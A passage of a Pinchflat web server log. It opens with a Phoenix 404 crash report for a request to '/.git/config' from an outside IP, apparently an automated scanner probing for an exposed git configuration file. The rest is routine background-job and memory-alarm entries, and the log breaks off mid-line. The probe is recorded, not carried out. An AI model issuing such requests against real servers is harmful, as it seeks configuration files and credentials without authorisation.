10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.154"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-wxmEHdXwoVjsAAJWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.13294.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 64962}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.154", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.13294.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 64962}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.154", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.13295.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.154"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-wxmEHdXwoVjsAAJWC"} ], scheme: :http, script_name: [], (truncated) 02:46:00.813 [info] {"source":"oban","duration":6921,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:12.877 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:42.879 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.814 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:12.881 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:42.883 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.816 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:12.885 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:33.211 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 02:48:42.888 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.816 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:12.890 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:42.892 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.818 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:12.895 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:42.897 [info] {"source":"oban","duration":2226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.820 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:12.899 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:42.901 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.823 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:12.903 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:42.905 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.829 [info] {"source":"oban","duration":4887,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:12.907 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:42.910 [info] {"source":"oban","duration":2607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.830 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:12.912 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:42.918 [info] {"source":"oban","duration":5178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.831 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:12.921 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:42.923 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.832 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:12.925 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:42.930 [info] {"source":"oban","duration":4246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.834 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:12.932 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:42.935 [info] {"source":"oban","duration":2486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.836 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:12.938 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:42.940 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.837 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:12.942 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:42.945 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.841 [info] {"source":"oban","duration":2914,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:12.947 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:42.950 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.844 [info] {"source":"oban","duration":2191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:12.952 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:42.956 [info] {"source":"oban","duration":2943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.845 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:12.961 [info] {"source":"oban","duration":2825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:42.963 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.846 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:12.965 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:42.967 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.847 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:12.969 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:42.971 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.848 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:12.973 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:42.975 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.853 [info] {"source":"oban","duration":4292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:12.978 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:42.979 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.857 [info] {"source":"oban","duration":2504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:12.981 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:33.287 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 03:07:42.983 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.859 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:12.985 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:42.987 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.868 [info] {"source":"oban","duration":5294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:12.989 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:42.991 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.871 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:12.994 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:42.996 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.872 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:12.998 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:43.000 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.873 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:13.002 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:43.004 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.883 [info] {"source":"oban","duration":7829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:13.006 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:43.008 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.884 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:13.010 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:43.012 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.890 [info] {"source":"oban","duration":3284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:13.014 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:43.016 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.893 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:13.018 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:33.323 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 03:16:43.020 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.895 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:13.022 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:43.024 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.897 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:13.026 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:43.028 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.899 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:13.030 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:43.032 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.907 [info] {"source":"oban","duration":6220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:13.035 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:43.037 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.912 [info] {"source":"oban","duration":4149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:13.039 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:43.041 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.913 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:13.043 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:43.045 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.914 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:13.048 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:43.050 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.919 [info] {"source":"oban","duration":3568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:13.052 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:43.054 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.921 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:13.056 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:33.361 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 03:25:43.058 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.921 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:13.060 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:43.063 [info] {"source":"oban","duration":2502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.922 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:13.065 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:43.069 [info] {"source":"oban","duration":3035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.926 [info] {"source":"oban","duration":3030,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:13.071 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:43.073 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.929 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:13.075 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:43.077 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.936 [info] {"source":"oban","duration":4195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:13.080 [info] {"source":"oban","duration":2375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:43.082 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.937 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:13.084 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:43.087 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.938 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:13.088 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:43.090 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.939 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:13.092 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:43.094 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.940 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:13.096 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:43.099 [info] {"source":"oban","duration":2230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.941 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:13.101 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:43.103 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.942 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:13.105 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:33.399 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 03:36:43.107 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.943 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:13.109 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:43.111 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.946 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:13.113 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:43.117 [info] {"source":"oban","duration":2686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.947 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:13.119 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:43.135 [info] {"source":"oban","duration":8834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.951 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:13.142 [info] {"source":"oban","duration":2567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:43.148 [info] {"source":"oban","duration":3706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.953 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:13.154 [info] {"source":"oban","duration":4643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:43.158 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.954 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:13.160 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:43.162 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.955 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:13.164 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:43.170 [info] {"source":"oban","duration":5148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.956 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:13.173 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:43.175 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.957 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:13.178 [info] {"source":"oban","duration":2364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:43.182 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.958 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:13.184 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:43.186 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.962 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:13.188 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:43.190 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.963 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:13.192 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:33.485 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 03:48:43.194 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.965 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:13.196 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:43.198 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.966 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:13.200 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:43.202 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.968 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:13.204 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:31.472 [info] GET /sources/6 03:51:31.479 [debug] Processing with 